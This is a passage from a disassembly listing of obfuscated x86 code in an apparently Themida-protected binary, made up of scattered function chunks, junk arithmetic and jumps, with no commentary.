push dword ptr [esp+4]
pop ecx
jmp loc_5709F6
; END OF FUNCTION CHUNK FOR sub_565A8D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B06D
loc_569D2F: ; CODE XREF: sub_56B06D-606Aj
pop eax
jmp sub_564686
; END OF FUNCTION CHUNK FOR sub_56B06D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572141
loc_569D35: ; CODE XREF: sub_572141-6F35j
mov ecx, [esp+0Ch+var_C]
add esp, 4
jmp loc_5682FE
; END OF FUNCTION CHUNK FOR sub_572141
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_569D40: ; CODE XREF: sub_5678CB+BFBAj
mov bh, ch
sub bh, 1
jmp loc_56B5D0
; END OF FUNCTION CHUNK FOR sub_5678CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_575420
loc_569D4A: ; CODE XREF: sub_575420-C08Bj
mov cl, byte ptr [esp+0Ch+var_C]
add esp, 2
neg cl
jmp loc_566406
; END OF FUNCTION CHUNK FOR sub_575420
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5687A3
loc_569D57: ; CODE XREF: sub_5687A3+1EC6j
add ebx, ecx
push eax
jmp sub_563819
; END OF FUNCTION CHUNK FOR sub_5687A3
; =============== S U B R O U T I N E =======================================
sub_569D5F proc near ; CODE XREF: sub_572805-7744j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005614EE SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056342A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056A416 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056AA41 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0056AAA2 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056E848 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00574CCE SIZE 0000000A BYTES
sub esp, 4
mov [esp+4+var_4], ebx
push ecx
mov cl, 5Ah
jmp loc_5614EE
sub_569D5F endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FD97
loc_569D6D: ; CODE XREF: sub_56FD97+16j
pop ebp
sub eax, ebx
push esi
jmp loc_562A1A
; END OF FUNCTION CHUNK FOR sub_56FD97
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563A7F
loc_569D76: ; CODE XREF: sub_563A7F+11A6Bj
mov al, 2
sub bl, al
pop eax
add bl, al
jmp loc_5619F8
; END OF FUNCTION CHUNK FOR sub_563A7F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56616D
loc_569D82: ; CODE XREF: sub_56616D+565Bj
mov esi, [esp-10h+arg_C]
add esp, 4
push 1F41h
mov [esp-10h+arg_C], ecx
mov ecx, 4791185Ch
shl ecx, 2
jmp loc_56D2BF
; END OF FUNCTION CHUNK FOR sub_56616D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5604FE
loc_569D9D: ; CODE XREF: sub_5604FE+BB95j
xor esi, 4249AC14h
xor edi, esi
mov esi, [esp+0Ch+var_C]
add esp, 4
add ecx, edi
jmp loc_56C883
; END OF FUNCTION CHUNK FOR sub_5604FE
; =============== S U B R O U T I N E =======================================
sub_569DB5 proc near ; DATA XREF: Themida_:0055FEECo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = word ptr 4
; FUNCTION CHUNK AT 00562A9A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00563197 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005644D0 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00566BF2 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00566CAC SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00567105 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005698A4 SIZE 00000043 BYTES
; FUNCTION CHUNK AT 0056B994 SIZE 0000003C BYTES
; FUNCTION CHUNK AT 0056CD82 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00570848 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00571466 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00571AAB SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00571F7A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00572470 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00573428 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005738D2 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00574E99 SIZE 00000039 BYTES
mov cx, [esp+0]
push 138Ah
jmp loc_571F7A
sub_569DB5 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56102D
loc_569DC3: ; CODE XREF: sub_56102D+284Fj
pop edx
add ecx, 73B8274Fh
add ecx, edi
push ebx
jmp loc_569B21
; END OF FUNCTION CHUNK FOR sub_56102D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56651E
loc_569DD2: ; CODE XREF: sub_56651E+8D0Ej
pop ebp
add ebp, 4
jmp loc_564786
; END OF FUNCTION CHUNK FOR sub_56651E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571F6F
loc_569DDE: ; CODE XREF: sub_571F6F+65Cj
add edi, 4
push 707Bh
mov [esp+12h+var_14+2], edi
push [esp+12h+var_E]
push [esp+16h+var_18+2]
mov edi, [esp]
add esp, 4
add esp, 4
pop [esp+12h+var_14+2]
mov esp, [esp+0Eh+var_E]
sub bl, 3
jmp loc_56EFBA
; END OF FUNCTION CHUNK FOR sub_571F6F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FB8A
loc_569E0A: ; CODE XREF: sub_56FB8A-C0DFj
sub edi, 5DBE384h
sub ebx, 0BF466B3h
jmp loc_56BC2D
; END OF FUNCTION CHUNK FOR sub_56FB8A
; =============== S U B R O U T I N E =======================================
sub_569E1B proc near ; DATA XREF: Themida_:0055FEE0o
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0056076A SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00562FF4 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00564494 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00565F82 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00568989 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056BD1A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056D315 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056E310 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005709B8 SIZE 00000012 BYTES
lodsb
push ebx
mov ebx, esp
add ebx, 4
push esi
mov esi, 4
sub ebx, esi
pop esi
jmp loc_564494
sub_569E1B endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561C21
loc_569E33: ; CODE XREF: sub_561C21+6j
pop edx
xor bh, 8Dh
sub al, bh
pop ebx
shl al, 3
push ax
not [esp+2+var_2]
pop ax
sub al, 0C0h
jmp loc_575150
; END OF FUNCTION CHUNK FOR sub_561C21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B11B
loc_569E4B: ; CODE XREF: sub_56B11B-9184j
mov esi, [esp+0Ch+var_C]
add esp, 4
xchg ecx, [esp+8+var_8]
pop esp
or edx, eax
jmp loc_5670B8
; END OF FUNCTION CHUNK FOR sub_56B11B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570732
loc_569E5C: ; CODE XREF: sub_570732-5C5Fj
push [esp+0Ch+var_8]
mov ebx, [esp+10h+var_10]
add esp, 4
pop [esp+0Ch+var_C]
jmp loc_56C7D6
; END OF FUNCTION CHUNK FOR sub_570732
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569CBC
loc_569E71: ; CODE XREF: sub_569CBC-4214j
push ecx
mov ecx, 4
jmp loc_570448
; END OF FUNCTION CHUNK FOR sub_569CBC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570732
loc_569E7C: ; CODE XREF: sub_570732-CE53j
add esp, 4
mov ecx, [esp+10h+var_10]
jmp loc_56D36F
; END OF FUNCTION CHUNK FOR sub_570732
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56657A
loc_569E87: ; CODE XREF: sub_56657A+3D4Cj
sub ebx, ecx
jmp loc_560F0B
; END OF FUNCTION CHUNK FOR sub_56657A
; ---------------------------------------------------------------------------
loc_569E8E: ; CODE XREF: Themida_:0056F024j
add ebx, eax
jmp loc_571D1C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572641
loc_569E95: ; CODE XREF: sub_572641-CD96j
add al, 0E9h
add al, bl
push dx
mov dh, 0E9h
sub al, dh
pop dx
jmp loc_564F33
; END OF FUNCTION CHUNK FOR sub_572641
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569B75
loc_569EA6: ; CODE XREF: sub_569B75+35D4j
dec ebp
jmp loc_563973
; END OF FUNCTION CHUNK FOR sub_569B75
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570E81
loc_569EAC: ; CODE XREF: sub_570E81+Cj
mov [esp+4+var_4], eax
mov eax, esp
push ebp
mov ebp, 7CF80834h
push ecx
jmp loc_564615
; END OF FUNCTION CHUNK FOR sub_570E81
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56208F
loc_569EBD: ; CODE XREF: sub_56208F+3j
mov [esp+4+var_4], esi
jmp loc_56BBE3
; END OF FUNCTION CHUNK FOR sub_56208F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56638C
loc_569EC5: ; CODE XREF: sub_56638C-3DD0j
xor ecx, 123138B7h
sub edx, ecx
pop ecx
push eax
mov eax, 330B3E16h
jmp loc_570AD3
; END OF FUNCTION CHUNK FOR sub_56638C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_569ED9: ; CODE XREF: sub_561418+10124j
pop edx
push ebx
jmp loc_5627CE
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570CE4
loc_569EE0: ; CODE XREF: sub_570CE4-103FEj
mov esp, [esp+14h+var_14]
jmp loc_5643CF
; END OF FUNCTION CHUNK FOR sub_570CE4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560056
loc_569EE8: ; CODE XREF: sub_560056+CACEj
add eax, ebp
pop ebp
jmp loc_56CA31
; END OF FUNCTION CHUNK FOR sub_560056
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E4D4
loc_569EF0: ; CODE XREF: sub_56E4D4-AA00j
add esp, 4
jmp loc_568867
; END OF FUNCTION CHUNK FOR sub_56E4D4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571C93
loc_569EFB: ; CODE XREF: sub_571C93+B44j
xor ecx, 34EE7BDFh
sub ebx, ecx
mov ecx, [esp+4+var_4]
add esp, 4
jmp loc_5697C0
; END OF FUNCTION CHUNK FOR sub_571C93
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572641
loc_569F11: ; CODE XREF: sub_572641-7002j
mov bl, 0Ch
jmp loc_5729FF
; END OF FUNCTION CHUNK FOR sub_572641
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566400
loc_569F18: ; CODE XREF: sub_566400+61DCj
pop ebx
push esi
mov esi, 0F90F1F6Fh
add edx, 44865FC7h
add edx, esi
sub esp, 4
mov [esp+10h+var_10], ebx
push ecx
mov ecx, 2EF83A6Bh
mov ebx, 6A7E65ACh
xor ebx, ecx
pop ecx
sub edx, 3D281226h
sub edx, ebx
add edx, 3D281226h
pop ebx
jmp loc_569B7B
; END OF FUNCTION CHUNK FOR sub_566400
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56671D
loc_569F52: ; CODE XREF: sub_56671D-2F81j
add al, bl
sub al, 0D9h
sub al, 0B6h
jmp loc_57318B
; END OF FUNCTION CHUNK FOR sub_56671D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5733CA
loc_569F5D: ; CODE XREF: sub_5733CA-2532j
mov ecx, ebp
jmp loc_56D1D5
; END OF FUNCTION CHUNK FOR sub_5733CA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_569F64: ; CODE XREF: sub_57354D-B59j
add edi, edx
pop edx
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp+8+var_8]
mov esp, [esp+8+var_8]
mov [esp+4+var_4], edi
push dword ptr [esp+4]
mov edi, [esp+8+var_8]
add esp, 4
pop [esp+4+var_4]
jmp loc_56A3E8
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E126
loc_569F8E: ; CODE XREF: sub_56E126+9AFj
pop esi
std
sub esp, 4
jmp loc_564B52
; END OF FUNCTION CHUNK FOR sub_56E126
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_569F98: ; CODE XREF: sub_57354D-8EB5j
shl ebp, 5
push ecx
push edx
mov edx, 277F25CBh
push edx
pop ecx
pop edx
add ecx, 89E5B299h
jmp loc_5668A2
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_569FB0: ; CODE XREF: sub_564D26+A50Ej
push [esp+10h+var_10]
jmp loc_56B544
; END OF FUNCTION CHUNK FOR sub_564D26
; =============== S U B R O U T I N E =======================================
sub_569FB8 proc near ; DATA XREF: Themida_:0055FDA4o
var_12 = dword ptr -12h
var_E = dword ptr -0Eh
var_A = dword ptr -0Ah
var_6 = dword ptr -6
var_2 = word ptr -2
; FUNCTION CHUNK AT 00560643 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00560E64 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00561316 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005656C3 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00565E25 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056A598 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056AA8D SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056AF14 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056C180 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056C3BF SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056D8BC SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056DB6F SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056DD83 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056E03F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056F3BB SIZE 00000031 BYTES
; FUNCTION CHUNK AT 00570314 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00570A83 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00570B11 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00570DDE SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00571BE6 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005745CF SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00575160 SIZE 0000000F BYTES
lodsb
xor al, bl
jmp loc_560E64
sub_569FB8 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56DA43
loc_569FC0: ; CODE XREF: sub_56DA43-C302j
pop edi
push ebp
not [esp+14h+var_14]
mov ebp, [esp+14h+var_14]
jmp loc_56DD0A
; END OF FUNCTION CHUNK FOR sub_56DA43
; ---------------------------------------------------------------------------
loc_569FCD: ; CODE XREF: Themida_:00564CAAj
mov esp, [esp]
push edi
jmp loc_56224D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566DC7
loc_569FD6: ; CODE XREF: sub_566DC7+1EBCj
pop esi
add esi, 4
add esi, 4
xchg esi, [esp+8+var_8]
mov esp, [esp+8+var_8]
jmp loc_56E195
; END OF FUNCTION CHUNK FOR sub_566DC7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572641
loc_569FEE: ; CODE XREF: sub_572641-CFA6j
mov edx, [esp+2+var_4+2]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_564A0A
; END OF FUNCTION CHUNK FOR sub_572641
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574F16
loc_56A005: ; CODE XREF: sub_574F16-12615j
mov cl, 8Eh
add cl, 12h
jmp loc_5706FE
; END OF FUNCTION CHUNK FOR sub_574F16
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CD13
loc_56A00F: ; CODE XREF: sub_56CD13-568Ej
push ecx
push edx
jmp loc_5741DB
; END OF FUNCTION CHUNK FOR sub_56CD13
; =============== S U B R O U T I N E =======================================
sub_56A016 proc near ; CODE XREF: sub_5745B5-7AD2j
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00567EA2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056C0C8 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056E3F5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005711D6 SIZE 00000011 BYTES
push ebx
mov bl, 63h
xor ch, bl
pop ebx
add ch, 77h
xor bh, ch
pop ecx
jmp loc_56E3F5
sub_56A016 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563BCC
loc_56A027: ; CODE XREF: sub_563BCC+ECD0j
mov [esp+0], ebx
push 49731C13h
push [esp+4+var_4]
pop ebx
add esp, 4
jmp loc_562C41
; END OF FUNCTION CHUNK FOR sub_563BCC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56638C
loc_56A03E: ; CODE XREF: sub_56638C+8A3Fj
push edx
push [esp+10h+var_C]
pop edx
pop [esp+10h+var_10]
jmp loc_568111
; END OF FUNCTION CHUNK FOR sub_56638C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A119
loc_56A04C: ; CODE XREF: sub_56A119-70BEj
xor edi, [esp+0]
pop esp
mov ebx, eax
pop eax
mov [eax], ebx
jmp loc_570D3D
; END OF FUNCTION CHUNK FOR sub_56A119
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_56A05A: ; CODE XREF: sub_5678CB-4BE0j
add edi, 6EC3756Fh
jmp loc_560307
; END OF FUNCTION CHUNK FOR sub_5678CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560CF1
loc_56A065: ; CODE XREF: sub_560CF1+13A9Ej
add esp, 4
pop ecx
xchg edi, ecx
jmp loc_572AA6
; END OF FUNCTION CHUNK FOR sub_560CF1
; ---------------------------------------------------------------------------
loc_56A070: ; CODE XREF: Themida_:0056706Dj
mov [esp], ebx
push eax
push 7FBB480Ah
jmp loc_5693FB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567B29
loc_56A07E: ; CODE XREF: sub_567B29+82ABj
mov [esp+0Ch+var_C], ecx
mov ecx, 22014F06h
mov eax, ecx
pop ecx
mov edx, 6B862C8Dh
jmp sub_5716A0
; END OF FUNCTION CHUNK FOR sub_567B29
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564BC5
loc_56A093: ; CODE XREF: sub_564BC5+3B4j
mov edx, [esp+8+var_8]
add esp, 4
jmp loc_56EA1A
; END OF FUNCTION CHUNK FOR sub_564BC5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5605BC
loc_56A0A1: ; CODE XREF: sub_5605BC+FB42j
mov [esp+24h+var_24], edi
mov edi, 55323CCh
sub ecx, edi
pop edi
push eax
mov eax, 8DA2892h
dec eax
jmp sub_561418
; END OF FUNCTION CHUNK FOR sub_5605BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56351E
loc_56A0B8: ; CODE XREF: sub_56351E+F7E5j
mov cx, [esp+0]
push edi
mov edi, esp
jmp loc_572EC6
; END OF FUNCTION CHUNK FOR sub_56351E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AEF2
loc_56A0C4: ; CODE XREF: sub_56AEF2-6957j
push 355h
mov [esp-8+arg_4], edi
push 7EE5h
jmp loc_5644B6
; END OF FUNCTION CHUNK FOR sub_56AEF2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56616D
loc_56A0D6: ; CODE XREF: sub_56616D+816Ej
mov edi, [esp-10h+arg_C]
sub esp, 4
mov [esp-0Ch+arg_8], esi
push esp
pop esi
push edi
mov edi, 614C3EACh
and edi, 0C922979h
jmp loc_56F9B5
; END OF FUNCTION CHUNK FOR sub_56616D
; ---------------------------------------------------------------------------
loc_56A0F5: ; CODE XREF: Themida_:0057200Dj
push edx
push edi
mov edi, 2
sub esp, 4
mov [esp], edi
mov edx, [esp]
add esp, 4
push dword ptr [esp]
mov edi, [esp]
jmp loc_560CB5
; =============== S U B R O U T I N E =======================================
sub_56A119 proc near ; CODE XREF: sub_56D2D2+Ej
var_8 = dword ptr -8
; FUNCTION CHUNK AT 0056304F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00563A54 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0056A04C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056A8A2 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0056FC95 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00570D3D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00570F5B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0057116D SIZE 00000008 BYTES
push ebp
mov ebp, 6DC0BD9h
or ebp, 461B7A15h
neg ebp
add ebp, 62CA0ACEh
and ebp, 233C291Eh
jmp loc_56A8A2
sub_56A119 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570CE4
loc_56A138: ; CODE XREF: sub_570CE4-8C3Dj
pop eax
jmp loc_572AE6
; END OF FUNCTION CHUNK FOR sub_570CE4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5745B5
loc_56A13E: ; CODE XREF: sub_5745B5-13B5Bj
mov ch, 52h
and ch, 0A5h
inc ch
and ch, 0B2h
and ch, 64h
not ch
jmp loc_56FF8A
; END OF FUNCTION CHUNK FOR sub_5745B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566400
loc_56A152: ; CODE XREF: sub_566400-2239j
mov eax, 53F45171h
mov edx, 0E992EB6Eh
add edx, eax
pop eax
push edi
mov edi, 5D314439h
shr edi, 6
shr edi, 6
jmp loc_56D155
; END OF FUNCTION CHUNK FOR sub_566400
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E96D
loc_56A170: ; CODE XREF: sub_56E96D+18C4j
add esp, 4
push ebp
mov ebp, esp
jmp loc_573211
; END OF FUNCTION CHUNK FOR sub_56E96D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_56A17B: ; CODE XREF: sub_57354D-1998j
xor edx, eax
xor eax, edx
xor edx, eax
jmp loc_5656B5
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FB8A
loc_56A186: ; CODE XREF: sub_56FB8A-9797j
shr ebx, 1
jmp loc_560B04
; END OF FUNCTION CHUNK FOR sub_56FB8A
; ---------------------------------------------------------------------------
loc_56A18D: ; CODE XREF: Themida_:0056E786j
sub esp, 4
mov [esp], eax
mov eax, 501C5826h
sub ebp, 352C421Ch
add ebp, eax
jmp loc_57239B
; ---------------------------------------------------------------------------
loc_56A1A8: ; CODE XREF: Themida_:00574123j
pop ecx
jmp loc_56BE2E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566C83
loc_56A1AE: ; CODE XREF: sub_566C83-37Dj
push ecx
mov ecx, 7B555136h
mov esi, 872225CCh
jmp loc_5630D8
; END OF FUNCTION CHUNK FOR sub_566C83
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B71F
loc_56A1BE: ; CODE XREF: sub_56B71F+2C78j
mov edx, 49FC535Dh
xor edx, ebp
jmp loc_56EFDD
; END OF FUNCTION CHUNK FOR sub_56B71F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571C93
loc_56A1CA: ; CODE XREF: sub_571C93-84D1j
add ebx, 426029B8h
add ebx, 3DE26461h
movzx ax, byte ptr [eax]
push small 72F5h
mov word ptr [esp+2+var_4+2], ax
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_571C93
; ---------------------------------------------------------------------------
loc_56A1E7: ; CODE XREF: Themida_:005672FFj
sub ebx, esi
jmp loc_563094
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574F16
loc_56A1EE: ; CODE XREF: sub_574F16-3ABj
add esp, 4
xor al, ch
mov cx, [esp+2+var_2]
push edx
push esp
pop edx
jmp loc_56DE6B
; END OF FUNCTION CHUNK FOR sub_574F16
; ---------------------------------------------------------------------------
loc_56A1FF: ; CODE XREF: Themida_:0056FEEFj
push dword ptr [esp]
jmp loc_56DA97
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5753A5
loc_56A207: ; CODE XREF: sub_5753A5-12B8j
sub esi, 0DFB2F06h
sub esi, edx
push edi
mov edi, 7E9C50C6h
xor edi, 1BA5668Dh
shl edi, 4
jmp loc_572DB1
; END OF FUNCTION CHUNK FOR sub_5753A5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56616D
loc_56A223: ; CODE XREF: sub_56616D+96C5j
pop edx
jmp loc_56E87B
; END OF FUNCTION CHUNK FOR sub_56616D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5754DA
loc_56A229: ; CODE XREF: sub_5754DA-3CF6j
mov ch, 44h
jmp loc_56773F
; END OF FUNCTION CHUNK FOR sub_5754DA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568646
loc_56A230: ; CODE XREF: sub_568646-827Aj
pop edx
push ebx
push 4BFEh
mov [esp+4+var_4], edx
push ecx
push 1586h
mov [esp+0Ch+var_C], ebx
jmp loc_5607DF
; END OF FUNCTION CHUNK FOR sub_568646
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_56A248: ; CODE XREF: sub_564D26+3E0Aj
inc edi
jmp loc_56BE07
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E0CB
loc_56A24E: ; CODE XREF: sub_56E0CB+484j
mov [esp+0], edi
mov edi, 2E483B3Ch
mov ebx, 2E483B3Eh
xor ebx, edi
pop edi
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp+0]
pop esp
jmp loc_5666EC
; END OF FUNCTION CHUNK FOR sub_56E0CB
; ---------------------------------------------------------------------------
loc_56A273: ; CODE XREF: Themida_:005712DDj
add edx, ebx
pop ebx
mov ebp, edx
pop edx
sub ebp, 71DD431Dh
jmp loc_5715CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562EB3
loc_56A284: ; CODE XREF: sub_562EB3+E616j
push esi
push dword ptr [esp+4]
pop esi
pop [esp+4+var_4]
mov esp, [esp+0]
mov [esp+0], eax
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_562EB3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569A84
loc_56A298: ; CODE XREF: sub_569A84+44BAj
mov ecx, 2A511D30h
sub ecx, 491F4882h
dec ecx
push eax
mov eax, 22867E80h
sub eax, 105C2CA4h
not eax
inc eax
sub eax, 7C8D49AAh
add eax, 4C215716h
sub ecx, eax
jmp loc_573DF7
; END OF FUNCTION CHUNK FOR sub_569A84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56657A
loc_56A2C3: ; CODE XREF: sub_56657A+115Aj
xor ecx, edx
pop edx
jmp loc_569E87
; END OF FUNCTION CHUNK FOR sub_56657A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564686
loc_56A2CB: ; CODE XREF: sub_564686+B149j
push 26CEh
mov [esp+4+var_4], edi
mov edi, 31614B74h
add dword ptr [esp+4], 8247B48h
sub dword ptr [esp+4], 63DA525Eh
sub dword ptr [esp+4], 68924CFBh
push ebp
mov ebp, 48D320F3h
add [esp+8], ebp
pop ebp
add dword ptr [esp+4], 20F40576h
add [esp+4], edi
sub dword ptr [esp+4], 20F40576h
sub dword ptr [esp+4], 48D320F3h
add dword ptr [esp+4], 68924CFBh
add dword ptr [esp+4], 63DA525Eh
sub dword ptr [esp+4], 8247B48h
mov edi, [esp+4+var_4]
push edi
jmp sub_566F55
; END OF FUNCTION CHUNK FOR sub_564686
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57109F
loc_56A338: ; CODE XREF: sub_57109F+315Cj
inc esi
jmp loc_573ABF
; END OF FUNCTION CHUNK FOR sub_57109F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C474
loc_56A33E: ; CODE XREF: sub_56C474+7AF9j
mov edx, 4
add [esp+10h+var_C], edx
pop edx
